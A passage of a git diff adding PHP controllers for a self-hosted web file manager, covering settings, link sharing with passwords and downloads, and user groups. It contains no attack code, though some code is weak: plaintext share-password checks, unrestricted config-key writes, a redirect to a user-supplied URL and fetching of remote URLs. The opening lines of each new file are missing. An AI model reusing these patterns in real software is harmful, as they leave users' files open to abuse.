+ $userPath.'data/share_temp',
+ $userPath.'recycle_kod'
+ );
+ foreach ($pathArr as $value) {
+ del_dir($value);
+ mk_dir($value);
+ }
+ }
+ }
+
+ /**
+ * 参数设置
+ * 可以同时修改多个:key=a,b,c&value=1,2,3
+ * 防xss 做过滤
+ */
+ public function set(){
+ $file = USER.'data/config.php';
+ if (!path_writeable(iconv_system($file))) {//配置不可写
+ show_json(LNG('no_permission_write_file'),false);
+ }
+ $key = $this->in['k'];
+ $value = $this->in['v'];
+ if ($key !='' && $value != '') {
+ $conf = $this->config['user'];
+ if(!strpos($key,',')){//多个参数,value不能包含','
+ $conf[$key] = clear_html($value);
+ }else{
+ $arr_k = explode(',', $key);
+ $arr_v = explode(',',$value);
+ $num = count($arr_k);
+ for ($i=0; $i < $num; $i++) {
+ $conf[$arr_k[$i]] = clear_html($arr_v[$i]);
+ }
+ }
+ FileCache::save($file,$conf);
+ show_json(LNG('setting_success'));
+ }else{
+ show_json(LNG('error'),false);
+ }
+ }
+}
diff --git a/app/controller/share.class.php b/app/controller/share.class.php
new file mode 100644
index 0000000..8cb283f
--- /dev/null
+++ b/app/controller/share.class.php
@@ -0,0 +1,631 @@
+in['fileUrl'],0,4) == 'http'){
+ $arrNotCheck[] = 'fileGet';
+ }
+ if (!in_array(ACT,$arrNotCheck)){
+ $this->initShare();
+ $this->checkShare();
+ $this->assign('canDownload',$this->shareInfo['notDownload']=='1'?0:1);
+ }
+ //需要检查下载权限的Action
+ $arrCheckDownload = array('fileDownload','zipDownload');//'fileProxy','fileGet'
+ if (in_array(ACT,$arrCheckDownload)){
+ if ($this->shareInfo['notDownload']=='1') {
+ show_json(LNG('share_not_download_tips'),false);
+ }
+ }
+ }
+
+ private function initShare(){
+ if(isset($this->in['user'])){
+ $this->initShareOld();
+ return;
+ }
+ $this->path = _DIR($this->in['path']);
+ $this->shareInfo = $GLOBALS['kodShareInfo'];
+ $user = systemMember::getInfo($GLOBALS['kodPathId']);
+
+ $userHome = user_home_path($user);
+ define('USER',USER_PATH.$user['path'].'/');
+ define('USER_TEMP',USER.'data/share_temp/');
+ define('HOME',$userHome);
+ }
+
+ private function checkShare(){
+ $shareInfo = $this->shareInfo;
+ if(!$this->shareInfo){
+ $this->_error(LNG('share_error_user'));
+ }
+ if (isset($shareInfo['timeTo'])&&
+ strlen($shareInfo['timeTo'])!=0) {
+ $date = strtotime($shareInfo['timeTo']);
+ if (time() > $date) {
+ $this->_error(LNG('share_error_time'));
+ }
+ }
+ //密码检测
+ if ($shareInfo['sharePassword']=='') return;
+ if (!isset($this->in['password'])){
+ if ($_SESSION['password_'.$this->in['sid']]==$shareInfo['sharePassword']){
+ return;
+ }
+ $this->_error('password');
+ }else{
+ if ($this->in['password'] == $shareInfo['sharePassword']) {
+ session_start();
+ $_SESSION['password_'.$this->in['sid']]=$shareInfo['sharePassword'];
+ session_write_close();
+ show_json('success');
+ }else{
+ show_json(LNG('share_error_password'),false);
+ }
+ }
+ }
+ private function initShareOld(){
+ if (!isset($this->in['user']) || !isset($this->in['sid'])) {
+ $this->_error(LNG('share_error_param'));
+ }
+ $member = systemMember::loadData();
+ $user = $member->get($this->in['user']);
+ if (!is_array($user) || !isset($user['password'])){
+ $this->_error(LNG('share_error_user'));
+ }
+
+ $userHome = user_home_path($user);
+ define('USER',USER_PATH.$user['path'].'/');
+ define('USER_TEMP',USER.'data/share_temp/');
+ define('HOME',$userHome);
+ $shareData = USER_PATH.$user['path'].'/data/share.php';
+ if (!file_exists(iconv_system($shareData))) {
+ $this->_error(LNG('share_error_user'));
+ }
+ $this->sql=new FileCache($shareData);
+ $list = $this->sql->get();
+ if (!isset($this->in['sid']) ||! $list[$this->in['sid']]){
+ $this->_error(LNG('share_error_sid'));
+ }
+ $this->shareInfo = $list[$this->in['sid']];
+ $sharePath = _DIR_CLEAR($this->shareInfo['path']);
+ if ($user['role'] != '1') {
+ $sharePath = HOME.ltrim($sharePath,'/');
+ }
+ if ($this->shareInfo['type'] != 'file'){
+ $sharePath=rtrim($sharePath,'/').'/';
+ }
+ $sharePath = iconv_system($sharePath);
+ if (!file_exists($sharePath)) {
+ $this->_error(LNG('share_error_path'));
+ }
+ $this->sharePath = $sharePath;
+ if($this->shareInfo['type'] == 'file'){
+ $this->path = $sharePath;
+ }else if(isset($this->in['path'])){
+ $this->path = $sharePath.$this->_clear($this->in['path']);
+ }else{
+ $this->path = $sharePath;
+ }
+ $this->path = _DIR_CLEAR($this->path);
+ $GLOBALS['kodPathPre'] = iconv_app(_DIR_CLEAR($sharePath));
+ //debug_out($GLOBALS['kodPathPre'],$GLOBALS['kodPathId'],$this->shareInfo,$this->path,$sharePath);
+ }
+ private function _clear($path){
+ return iconv_system(_DIR_CLEAR($path));
+ }
+
+
+
+ private function _error($msg){
+ $this->assign('configTheme','mac');
+ $this->assign('msg',$msg);
+ $this->display('tips.html');
+ exit;
+ }
+ //==========================
+ //页面统一注入变量
+ private function _assignInfo(){
+ $config = FileCache::load(USER.'data/config.php');
+ if (count($config)<1) {
+ $config = $GLOBALS['config']['settingDefault'];
+ }
+ $this->assign('configTheme',$config['theme']);
+ $this->shareInfo['sharePassword'] = '';
+ $this->shareInfo['path'] = get_path_this(iconv_app($this->path));
+ $this->assign('shareInfo',$this->shareInfo);
+ }
+
+ //下载次数统计
+ private function _shareDownloadAdd(){
+ $this->shareInfo['numDownload'] = abs(intval($this->shareInfo['numDownload'])) +1;
+ $this->sql->set($this->in['sid'],$this->shareInfo);
+ }
+
+ //==========================
+ /*
+ * 文件浏览
+ */
+ public function file() {
+ $this->shareViewAdd();
+ if ($this->shareInfo['type']!='file') {
+ //$this->shareInfo['name'] = get_path_this($this->path);
+ }
+ $size = filesize($this->path);
+ $this->shareInfo['size'] = size_format($size);
+ $this->_assignInfo();
+ $this->display('file.html');
+ }
+ /*
+ * 文件夹浏览
+ */
+ public function folder() {
+ $this->shareViewAdd();
+ if(isset($this->in['path']) && $this->in['path'] !=''){
+ $dir = '/'._DIR_CLEAR($this->in['path']);
+ }else{
+ $dir = '/';//首次进入系统,不带参数
+ }
+ $dir = '/'.trim($dir,'/').'/';
+ $this->_assignInfo();
+ $this->assign('dir',$dir);
+
+ if ($this->config['forceWap']) {
+ $this->display('explorerWap.html');
+ }else{
+ $this->display('explorer.html');
+ }
+ }
+ /*
+ * 代码阅读
+ */
+ public function codeRead() {
+ $this->shareViewAdd();
+ $this->_assignInfo();
+ $this->display('editor.html');
+ }
+ //浏览次数统计
+ private function shareViewAdd(){
+ $this->shareInfo['numDownload'] = isset($this->shareInfo['numDownload'])?$this->shareInfo['numDownload']:0;
+ $this->shareInfo['numView'] = isset($this->shareInfo['numView'])?$this->shareInfo['numView']:0;
+
+ $this->shareInfo['numView'] = abs(intval($this->shareInfo['numView'])) +1;
+ $this->sql->set($this->in['sid'],$this->shareInfo);
+ }
+ public function commonJs(){
+ $out = ob_get_clean();
+ $versionDesc = isset($this->config['settings']['versionDesc'])?$this->config['settings']['versionDesc']:"";
+ $theConfig = array(
+ 'environment' => STATIC_JS,
+ 'lang' => I18n::getType(),
+ 'systemOS' => $this->config['systemOS'],
+ 'isRoot' => 0,
+ 'webRoot' => '',
+ 'webHost' => HOST,
+ 'appHost' => APP_HOST,
+ 'staticPath' => STATIC_PATH,
+ 'appIndex' => $_SERVER['SCRIPT_NAME'],
+ 'version' => KOD_VERSION,
+ 'versionBuild' => KOD_VERSION_BUILD,
+ 'versionDesc' => $versionDesc,
+ 'kodID' => md5(BASIC_PATH.$this->config['settingSystem']['systemPassword']),
+
+ 'jsonData' => "",
+ 'sharePage' => 'share',
+ 'settings' => array(
+ 'updloadChunkSize' => file_upload_size(),
+ 'updloadThreads' => $this->config['settings']['updloadThreads'],
+ 'updloadBindary' => $this->config['settings']['updloadBindary'],
+ 'uploadCheckChunk' => $this->config['settings']['uploadCheckChunk'],
+
+ 'paramRewrite' => $this->config['settings']['paramRewrite'],
+ 'pluginServer' => $this->config['settings']['pluginServer'],
+ //'appType' => $this->config['settings']['appType']
+ ),
+
+ //虚拟目录
+ 'KOD_GROUP_PATH' => KOD_GROUP_PATH,
+ 'KOD_GROUP_SHARE' => KOD_GROUP_SHARE,
+ 'KOD_USER_SELF' => KOD_USER_SELF,
+ 'KOD_USER_SHARE' => KOD_USER_SHARE,
+ 'KOD_USER_RECYCLE' => KOD_USER_RECYCLE,
+ 'KOD_USER_FAV' => KOD_USER_FAV,
+ 'KOD_GROUP_ROOT_SELF' => KOD_GROUP_ROOT_SELF,
+ 'KOD_GROUP_ROOT_ALL' => KOD_GROUP_ROOT_ALL,
+ 'ST' => $this->in['st'],
+ 'ACT' => $this->in['act'],
+ );
+
+ if(ST.''.ACT == 'explorer.fileView'){
+ unset($theConfig['sharePage']);
+ }
+
+ $userConfig = $GLOBALS['config']['settingDefault'];
+ if(isset($this->in['user'])){
+ $member = systemMember::loadData();
+ $user = $member->get($this->in['user']);
+ $userConfig = FileCache::load(USER_PATH.$user['path'].'/'.'data/config.php');
+ }
+
+ if(isset($this->config['settingSystem']['versionHash'])){
+ $theConfig['versionHash'] = $this->config['settingSystem']['versionHash'];
+ $theConfig['versionHashUser'] = $this->config['settingSystem']['versionHashUser'];
+ }
+ $theConfig['userConfig'] = $userConfig;
+ $useTime = mtime() - $GLOBALS['config']['appStartTime'];
+
+ header("Content-Type: application/javascript; charset=utf-8");
+ echo 'if(typeof(kodReady)=="undefined"){kodReady=[];}';
+ Hook::trigger('user.commonJs.insert',$this->in['st'],$this->in['act']);
+ echo ';AUTH=[];';
+ echo 'G='.json_encode($theConfig).';';
+ $lang = json_encode_force(I18n::getAll());
+ if(!$lang){
+ $lang = '{}';
+ }
+ echo 'LNG='.$lang.';G.useTime='.$useTime.';';
+ }
+ //chrome安装: 必须https;serviceWorker引入处理;manifest配置; [manifest.json配置目录同sw.js引入];
+ public function manifest(){
+ $json = file_get_contents(BASIC_PATH.'static/others/app/manifest.json');
+ $name = stristr(I18n::getType(),'zh') ? '可道云':'kodExplorer';
+ $static = STATIC_PATH == './static/' ? APP_HOST.'static/':STATIC_PATH;
+ $assign = array(
+ "{{name}}" => $name,
+ "{{appDesc}}" => LNG('common.copyright.name'),
+ "{{static}}" => $static,
+ );
+ $json = str_replace(array_keys($assign),array_values($assign),$json);
+ header("Content-Type: application/javascript; charset=utf-8");
+ echo $json;
+ }
+ public function manifestJS(){
+ header("Content-Type: application/javascript; charset=utf-8");
+ echo file_get_contents(BASIC_PATH.'static/others/app/sw.js');
+ }
+
+
+ //========ajax function============
+ public function pathInfo(){
+ $infoList = json_decode($this->in['dataArr'],true);
+ foreach ($infoList as &$val) {
+ $val['path'] = $this->sharePath.$this->_clear($val['path']);
+ }
+ $data = path_info_muti($infoList,LNG('time_type_info'));
+ $data['path'] = _DIR_OUT($data['path']);
+
+ //属性查看,单个文件则生成临时下载地址。没有权限则不显示
+ if (count($infoList)==1 && $infoList[0]['type']!='folder') {//单个文件
+ $file = $infoList[0]['path'];
+ if($this->shareInfo['notDownload']!='1'){
+ $data['downloadPath'] = _make_file_proxy($file);
+ }
+ if($data['size'] < 100*1024|| isset($this->in['getMd5'])){
+ $data['fileMd5'] = @md5_file($file);
+ }else{
+ $data['fileMd5'] = "...";
+ }
+
+ //获取图片尺寸
+ $ext = get_path_ext($file);
+ if(in_array($ext,array('jpg','gif','png','jpeg','bmp')) ){
+ $size = ImageThumb::imageSize($file);
+ if($size){
+ $data['imageSize'] = $size;
+ }
+ }
+ }
+ show_json($data);
+ }
+ public function fileSave(){
+ show_json(LNG('no_permission'),false);
+ }
+
+ // 单文件编辑
+ public function edit(){
+ $member = systemMember::loadData();
+ $user = $member->get($this->in['user']);
+ $codeConfig = FileCache::load(USER_PATH.$user['path'].'/data/editor_config.php');
+ if(!is_array($codeConfig)){
+ $codeConfig = $GLOBALS['config']['editorDefault'];
+ }
+
+ $black_theme = array("ambiance","idle_fingers","monokai","pastel_on_dark","twilight",
+ "solarized_dark","tomorrow_night_blue","tomorrow_night_eighties");
+ $setClass = "";
+ if(in_array($codeConfig['theme'],$black_theme)){
+ $setClass = 'class="code-theme-black"';
+ }
+ $this->_assignInfo();
+ $this->assign('editorConfig',json_encode($codeConfig));//获取编辑器配置信息
+ $this->assign('codeThemeBlack',$setClass);//获取编辑器配置信息
+ $this->display('edit.html');
+ }
+
+ public function pathList(){
+ $list=$this->_path($this->path);
+ show_json($list);
+ }
+ public function treeList(){
+ $path=$this->path;
+ if (isset($this->in['project'])) {
+ $path = $this->sharePath.$this->_clear($this->in['project']);
+ }
+ if (isset($this->in['path'])) {
+ $path = $this->sharePath.$this->_clear($this->in['path']);
+ }
+ if (isset($this->in['name'])){
+ $path=$path.'/'.$this->_clear($this->in['name']);
+ }
+ $listFile = ($this->in['app'] == 'editor'?true:false);//编辑器内列出文件
+ $list=$this->_path($path,$listFile,true);
+ function sort_by_key($a, $b){
+ if ($a['name'] == $b['name']) return 0;
+ return ($a['name'] > $b['name']) ? 1 : -1;
+ }
+ usort($list['folderList'], "sort_by_key");
+ usort($list['fileList'], "sort_by_key");
+
+ $result = array_merge($list['folderList'],$list['fileList']);
+ if ($this->in['app'] != 'editor') {
+ $result =$list['folderList'];
+ }
+ if (isset($this->in['type']) && $this->in['type']=='init') {
+ $result = array(
+ array(
+ 'name' => iconv_app(get_path_this($path)),
+ 'children' => $result,
+ //'menuType' => "menuTreeRoot",
+ 'open' => true,
+ 'type' => 'folder',
+ 'path' => '/',
+ 'isParent' => count($result)>0?true:false
+ )
+ );
+ }
+ show_json($result);
+ }
+ public function search(){
+ if (!isset($this->in['search'])) show_json(LNG('please_inpute_search_words'),false);
+ $isContent = intval($this->in['is_content']);
+ $isCase = intval($this->in['is_case']);
+ $ext= trim($this->in['ext']);
+ $list = path_search(
+ $this->path,
+ rawurldecode($this->in['search']),
+ $isContent,$ext,$isCase);
+
+ show_json(_DIR_OUT($list));
+ }
+ /**
+ * 上传,html5拖拽 flash 多文件
+ */
+ public function fileUpload(){
+ $fileName = $_FILES['file']['name']? $_FILES['file']['name']:$GLOBALS['in']['name'];
+ $GLOBALS['isRoot']=0;
+ $GLOBALS['auth']['extNotAllow'] = "htm|html|php|phtml|pwml|asp|aspx|ascx|jsp|pl|htaccess|shtml|shtm|phtm";
+ if(!checkExt($fileName)){
+ show_json(LNG('no_permission_ext'),false);
+ }
+ $savePath = $this->sharePath.$this->_clear($this->in['upload_to']);
+ if (!path_writeable($savePath)) show_json(LNG('no_permission_write'),false);
+
+ if ($savePath == '') show_json(LNG('upload_error_big'),false);
+ if (strlen($this->in['fullPath']) > 1) {//folder drag upload
+ $fullPath = _DIR_CLEAR(rawurldecode($this->in['fullPath']));
+ $fullPath = get_path_father($fullPath);
+ $fullPath = iconv_system($fullPath);
+ if (mk_dir($savePath.$fullPath)) {
+ $savePath = $savePath.$fullPath;
+ }
+ }
+
+ //分片上传
+ $tempDir = iconv_system(USER_TEMP);
+ mk_dir($tempDir);
+ if (!path_writeable($tempDir)) show_json(LNG('no_permission_write'),false);
+ upload($savePath,$tempDir,'rename');
+ }
+
+
+ //代理输出
+ public function fileProxy(){
+ $mime = get_file_mime(get_path_ext($this->path));
+ if($mime == 'text/plain' && is_file($this->path)){//文本则转编码
+ $fileContents = file_get_contents($this->path);
+ $charset=get_charset($fileContents);
+ if ($charset!='' || $charset!='utf-8') {
+ $fileContents=mb_convert_encoding($fileContents,'utf-8',$charset);
+ }
+ echo $fileContents;
+ return;
+ }
+ $download = isset($_GET['download']);
+ $filename = isset($_GET['downFilename'])?$_GET['downFilename']:false;
+ file_put_out($this->path,$download,$filename);
+ }
+ public function fileDownload(){
+ $this->_shareDownloadAdd();
+ file_put_out($this->path,true);
+ }
+ //文件下载后删除,用于文件夹下载
+ public function fileDownloadRemove(){
+ if ($this->shareInfo['notDownload']=='1') {
+ show_json(LNG('share_not_download_tips'),false);
+ }
+ $path = get_path_this(_DIR_CLEAR($this->in['path']));
+ $path = iconv_system(USER_TEMP.$path);
+ file_put_out($path,true);
+ del_file($path);
+ }
+ public function zipDownload(){
+ $this->_shareDownloadAdd();
+ $userTemp = iconv_system(USER_TEMP);
+ if(!file_exists($userTemp)){
+ mkdir($userTemp);
+ }else{//清除未删除的临时文件,一天前
+ $list = path_list($userTemp,true,false);
+ $maxTime = 3600*24;
+ if ($list['fileList']>=1) {
+ for ($i=0; $i < count($list['fileList']); $i++) {
+ $createTime = $list['fileList'][$i]['mtime'];//最后修改时间
+ if(time() - $createTime >$maxTime){
+ del_file($list['fileList'][$i]['path'].$list['fileList'][$i]['name']);
+ }
+ }
+ }
+ }
+ $zipFile = $this->zip($userTemp);
+ show_json(LNG('zip_success'),true,get_path_this($zipFile));
+ }
+ private function zip($zipPath){
+ if (!isset($zipPath)) {
+ show_json(LNG('share_not_download_tips'),false);
+ }
+ ignore_timeout();
+
+ $zipList = json_decode($this->in['dataArr'],true);
+ $listNum = count($zipList);
+ $files = array();
+ for ($i=0; $i < $listNum; $i++) {
+ $item = $this->path.$this->_clear($zipList[$i]['path']);
+ if(file_exists($item)){
+ $files[] = $item;
+ }
+ }
+ if(count($files)==0){
+ show_json(LNG('not_exists'),false);
+ }
+
+
+ //指定目录
+ if (count($files) == 1) {
+ $pathThisName=get_path_this($files[0]);
+ }else{
+ $pathThisName=get_path_this(get_path_father($files[0]));
+ }
+ $zipname = $zipPath.$pathThisName.'.zip';
+ $zipname = get_filename_auto($zipname,date('_H-i-s'));
+ KodArchive::create($zipname,$files);
+ return iconv_app($zipname);
+ }
+
+
+ // 获取文件数据
+ public function fileGet(){
+ if(isset($this->in['fileUrl'])){ //http
+ $displayName = $this->in['name'];
+ $filepath = $this->in['fileUrl'];
+ if(!request_url_safe($filepath)){
+ show_json(LNG('url error!'),false);
+ }
+ }else{
+ $displayName = _DIR_CLEAR($this->in['filename']);
+ $filepath= $this->sharePath.iconv_system($displayName);
+ if (!path_readable($filepath)){
+ show_json(LNG('no_permission_read'),false);
+ }
+ if (filesize($filepath) >= 1024*1024*20){
+ show_json(LNG('edit_too_big'),false);
+ }
+ if (!file_exists($filepath)){
+ show_json(LNG('not_exists'),false);
+ }
+ }
+
+ $fileContents=file_get_contents($filepath);//文件内容
+ $charset=get_charset($fileContents);
+ if ($charset!='' &&
+ $charset!='utf-8' &&
+ function_exists("mb_convert_encoding")
+ ){
+ $fileContents=@mb_convert_encoding($fileContents,'utf-8',$charset);
+ }
+ $data = array(
+ 'ext' => get_path_ext($displayName),
+ 'name' => iconv_app(get_path_this($displayName)),
+ 'filename' => $displayName,
+ 'charset' => $charset,
+ 'base64' => true,// 部分防火墙编辑文件误判问题处理
+ 'content' => base64_encode($fileContents)
+ );
+ show_json($data);
+ }
+
+ public function image(){
+ $thumbWidth = 250;
+ if(isset($this->in['thumbWidth'])){
+ $thumbWidth = intval($this->in['thumbWidth']);//自定义预览大图
+ }
+ if(substr($this->path,0,4) == 'http'){
+ header('Location: '.$this->in['path']);
+ exit;
+ }
+ if (@filesize($this->path) <= 1024*50 ||
+ !function_exists('imagecolorallocate') ||
+ get_path_ext($this->path) == 'gif') {//小于50k、不支持gd库、gif图 不再生成缩略图
+ file_put_out($this->path,false);
+ return;
+ }
+ if (!is_dir(DATA_THUMB)){
+ mk_dir(DATA_THUMB);
+ }
+ $image = $this->path;
+ $imageMd5 = @md5_file($image).'_'.$thumbWidth;//文件md5
+ if (strlen($imageMd5)<5) {
+ $imageMd5 = md5($image).'_'.$thumbWidth;
+ }
+ $imageThumb = DATA_THUMB.$imageMd5.'.png';
+ if (!file_exists($imageThumb)){//如果拼装成的url不存在则没有生成过
+ if (get_path_father($image)==DATA_THUMB){//当前目录则不生成缩略图
+ $imageThumb=$this->path;
+ }else {
+ $cm = new ImageThumb($image,'file');
+ $cm->prorate($imageThumb,$thumbWidth,$thumbWidth);//生成等比例缩略图
+ }
+ }
+ if (!file_exists($imageThumb) ||
+ filesize($imageThumb)<100){//缩略图生成失败则使用原图
+ $imageThumb=$this->path;
+ }
+ file_put_out($imageThumb,false);
+ file_put_out($imageThumb);//输出
+ }
+
+ //获取文件列表&哦exe文件json解析
+ private function _path($dir,$listFile=true,$check_children=false){
+ $list = path_list($dir,$listFile,true);
+ $listNew = array('fileList'=>array(),'folderList'=>array());
+ $pathHidden = $this->config['settingSystem']['pathHidden'];
+ $exName = explode(',',$pathHidden);
+ foreach ($list['fileList'] as $key => $val) {
+ if (in_array($val['name'],$exName)) continue;
+ if ($val['ext'] == 'oexe'){
+ $path = iconv_system($val['path']);
+ $json = json_decode(@file_get_contents($path),true);
+ if(is_array($json)) $val = array_merge($val,$json);
+ }
+ $listNew['fileList'][] = $val;
+ }
+ foreach ($list['folderList'] as $key => $val) {
+ if (in_array($val['name'],$exName)) continue;
+ $listNew['folderList'][] = $val;
+ }
+ $s = _DIR_OUT($listNew);
+ return _DIR_OUT($listNew);
+ }
+}
diff --git a/app/controller/systemGroup.class.php b/app/controller/systemGroup.class.php
new file mode 100644
index 0000000..a733a7c
--- /dev/null
+++ b/app/controller/systemGroup.class.php
@@ -0,0 +1,279 @@
+sql= self::loadData();
+ $this->_init();
+ }
+
+ //保证只加载一次文件
+ public static function loadData(){
+ if(is_null(self::$staticSql)){
+ self::$staticSql = systemGroupData();
+ }
+ return self::$staticSql;
+ }
+ public static function getInfo($theId){
+ $sql = self::loadData();
+ return $sql->get($theId);
+ }
+
+ /**
+ * 空间使用变更
+ * @param [type] $theId [userID or groupID]
+ * @param [type] $sizeAdd [变更的大小 sizeMax G为单位 sizeUse Byte为单位]
+ */
+ public static function spaceChange($theId,$sizeAdd=false){
+ $sql = self::loadData();
+ $info = $sql->get($theId);
+ if(!is_array($info)){
+ show_json(LNG('data_not_full'),false);
+ }
+ if($sizeAdd===false){//重置用户空间;避免覆盖、解压等导致的问题
+ $pathinfo = _path_info_more(GROUP_PATH.$info['path'].'/');
+ $currentUse = $pathinfo['size'];
+ if(isset($info['homePath']) && file_exists(iconv_system($info['homePath']))){
+ $pathinfo = _path_info_more(iconv_system($info['homePath']));
+ $currentUse += $pathinfo['size'];
+ }
+ }else{
+ $currentUse = floatval($info['config']['sizeUse'])+floatval($sizeAdd);
+ }
+ $info['config']['sizeUse'] = $currentUse<0?0:$currentUse;
+ $sql->set($theId,$info);
+ }
+
+ /**
+ * 空间剩余检测
+ * 1073741824 —— 1G
+ */
+ public static function spaceCheck($theId){
+ $sql = self::loadData();
+ $info = $sql->get($theId);
+ if(!is_array($info)){
+ show_json(LNG('data_not_full'),false);
+ }
+ $sizeUse = floatval($info['config']['sizeUse']);
+ $sizeMax = floatval($info['config']['sizeMax']);
+ if($sizeMax!=0 && $sizeMax*1073741824<$sizeUse){
+ show_json(LNG('space_is_full'),false);
+ }
+ }
+
+ //管理员调用
+ //===================
+ private function _init(){
+ if(count($this->sql->get()) > 0) return;
+ $default = array(
+ '1' =>array(
+ 'groupID' => '1',
+ 'name' => 'root',
+ 'parentID' => '',
+ 'children' => '',
+ 'config' => array('sizeMax' => floatval(1.5),
+ 'sizeUse' => floatval(1024*1024)),//总大小,目前使用大小
+ 'path' => 'root',
+ 'createTime'=> time(),
+ )
+ );
+ $this->sql->reset($default);
+ $this->initDir($default[0]['path']);
+ }
+ //删除 path id
+ public static function _filterList($list,$filter_key = 'path'){
+ if($GLOBALS['isRoot']) return $list;
+ foreach ($list as $key => &$val) {
+ unset($val[$filter_key]);
+ }
+ return $list;
+ }
+
+ public function get() {
+ $items = self::_filterList($this->sql->get());
+ show_json($items,true);
+ }
+
+ /**
+ * 群组添加
+ * systemGroup/add&name=t1&parentID=101&sizeMax=0
+ */
+ public function add(){
+ if (!isset($this->in['name']) || //必填项
+ !isset($this->in['parentID']) ||
+ !isset($this->in['sizeMax'])
+ ) show_json(LNG('data_not_full'),false);
+
+ //名称可以重复
+ $groupID = $this->sql->getMaxId().'';
+ $groupName = rawurldecode($this->in['name']);
+ $groupInfo = array(
+ 'groupID' => $groupID,
+ 'name' => $groupName,
+ 'parentID' => $this->in['parentID'],
+ 'children' => '',
+ 'config' => array('sizeMax' => floatval($this->in['sizeMax']),//G
+ 'sizeUse' => floatval(1024*1024)),//总大小,目前使用大小
+ 'path' => make_path($groupName),
+ 'createTime'=> time(),
+ );
+ if(file_exists(iconv_system(GROUP_PATH.$groupInfo['path'])) ){
+ $groupInfo['path'] = make_path($groupInfo['path'].'_'.$groupInfo['groupID']);
+ }
+
+ //用户组目录
+ if( isset($this->in['homePath'])){
+ $homePath = _DIR(rawurldecode($this->in['homePath']));
+ if(file_exists($homePath)){
+ $groupInfo['homePath'] = iconv_app($homePath);
+ }
+ }else{
+ unset($groupInfo['homePath']);
+ }
+ $this->_parentChildChange($groupInfo,true);//更新父节点
+ if ($this->sql->set($groupID,$groupInfo)) {
+ $this->initDir($groupInfo['path']);
+ show_json(LNG('success'));
+ }
+ show_json(LNG('error'),false);
+ }
+
+ /**
+ * 编辑 systemGroup/edit&groupID=101&name=warlee&sizeMax=0
+ */
+ public function edit() {
+ if (!$this->in['groupID']) show_json(LNG('data_not_full'),false);
+ $groupInfo = $this->sql->get($this->in['groupID']);
+ if(!is_array($groupInfo)){//用户不存在
+ show_json(LNG('not_exists'),false);
+ }
+
+ //name sizeMax parentID
+ if(isset($this->in['name'])){
+ $groupInfo['name'] = rawurldecode($this->in['name']);
+ }
+ if(isset($this->in['sizeMax'])){
+ $groupInfo['config']['sizeMax'] = floatval($this->in['sizeMax']);
+ }
+ if( isset($this->in['parentID']) &&
+ $groupInfo['parentID']!= '' && //根目录不能修改父节点
+ $this->in['parentID']!=$groupInfo['parentID']){//父节点变更
+
+ $childChange = explode(',',$groupInfo['children']);
+ if( in_array($this->in['parentID'],$childChange)
+ || $this->in['parentID'] == $this->in['groupID']){//不能移动到子节点;死循环
+ show_json(LNG('current_has_parent'),false);
+ }
+ self::spaceChange($this->in['groupID']);//重置用户使用空间
+ $this->_parentChildChange($groupInfo,false);//向所有父节点,删除包含此节点的children
+ $groupInfo['parentID'] = $this->in['parentID'];
+ $this->_parentChildChange($groupInfo,true);//向所有新的父节点,添加包含此节点的children
+ }
+
+ //用户组目录
+ if( isset($this->in['homePath'])){
+ $groupInfo['homePath'] = _DIR(rawurldecode($this->in['homePath']));
+ if(!file_exists($groupInfo['homePath'])){
+ show_json(LNG('not_exists'),false);
+ }
+ $groupInfo['homePath'] = iconv_app($groupInfo['homePath']);
+ }else{
+ unset($groupInfo['homePath']);
+ }
+ if($groupInfo != $this->sql->get($this->in['groupID'])){
+ $this->sql->set($this->in['groupID'],$groupInfo);
+ }
+ show_json(LNG('success'));
+ }
+
+ /**
+ * 删除 ?systemMember/del&userID=102
+ */
+ public function del() {
+ if (!isset($this->in['groupID'])) show_json(LNG('data_not_full'),false);
+ if (strlen($this->in['groupID']) <= 1) show_json(LNG('default_user_can_not_do'),false);
+ $groupInfo = $this->sql->get($this->in['groupID']);
+ $this->_parentChildChange($groupInfo,false);//向所有父节点,删除包含此节点的children
+ $this->sql->set(//将该节点的子节点的父节点设置为根目录
+ array('parentID',$groupInfo["groupID"]),
+ array('parentID','1')
+ );
+ systemMember::groupRemoveUserUpdate($groupInfo["groupID"]);//用户所在组变更
+ $this->sql->remove($this->in['groupID']);
+
+ if( strlen($groupInfo['path'])!=0){
+ del_dir(iconv_system(GROUP_PATH.$groupInfo['path'].'/'));
+ show_json(LNG('success'));
+ }
+ show_json(LNG('error'),false);
+ }
+
+
+ //============内部处理函数=============
+ //回溯更改节点的children
+ private function _parentChildChange($groupInfo,$isAdd){
+ if(!is_array($groupInfo)){
+ show_json(LNG('not_exists'),false);
+ }
+ if($groupInfo['parentID'] == 1){
+ return;
+ }
+ $childChange = explode(',',$groupInfo['children']);
+ if($childChange[0]==''){
+ unset($childChange[0]);
+ }
+ $childChange[] = $groupInfo['groupID'];//包含当前
+ while(strlen($groupInfo['groupID'])>2){//节点id从100开始
+ $groupInfo = $this->sql->get($groupInfo['parentID']);
+ if(!is_array($groupInfo)){
+ show_json(LNG('not_exists'),false);
+ }
+ $childrenNew = explode(',',$groupInfo['children']);
+ if($childrenNew[0]==''){
+ unset($childrenNew[0]);
+ }
+ if($isAdd){//添加
+ foreach ($childChange as $key=>$val) {
+ $childrenNew[] = $val;
+ }
+ }else{//删除
+ foreach ($childrenNew as $key=>$val) {
+ if(in_array($val,$childChange))
+ unset($childrenNew[$key]);
+ }
+ }
+ $childStr = implode(',',$childrenNew);
+ if($childStr != $groupInfo['children']){//有变更
+ $groupInfo['children'] = $childStr;
+ $this->sql->set($groupInfo['groupID'],$groupInfo);
+ }
+ }
+ }
+
+ //
+ /**
+ *初始化用户数据和配置。
+ */
+ public function initDir($path){
+ $root = array('home','data');
+ $newGroupFolder = $this->config['settingSystem']['newGroupFolder'];
+ $home = explode(',',$newGroupFolder);
+ $path = GROUP_PATH.$path.'/';
+ foreach ($root as $dir) {
+ mk_dir(iconv_system($path.$dir));
+ }
+ foreach ($home as $dir) {
+ mk_dir(iconv_system($path.'home/'.$dir));
+ }
+ }
+}
diff --git a/app/controller/systemMember.class.php b/app/controller/systemMember.class.php
new file mode 100644
index 0000000..8d7ba5d
--- /dev/null
+++ b/app/controller/systemMember.class.php
@@ -0,0 +1,529 @@
+tpl = TEMPLATE.'member/';
+ $this->sql= self::loadData();
+ }
+
+ //保证只加载一次文件
+ public static function loadData(){
+ if(is_null(self::$staticSql)){
+ self::$staticSql = systemMemberData();
+ }
+ return self::$staticSql;
+ }
+ public static function getInfo($theId){
+ $sql = self::loadData();
+ return $sql->get($theId);
+ }
+
+ /**
+ * 空间使用变更
+ * @param [type] $theId [userID or groupID]
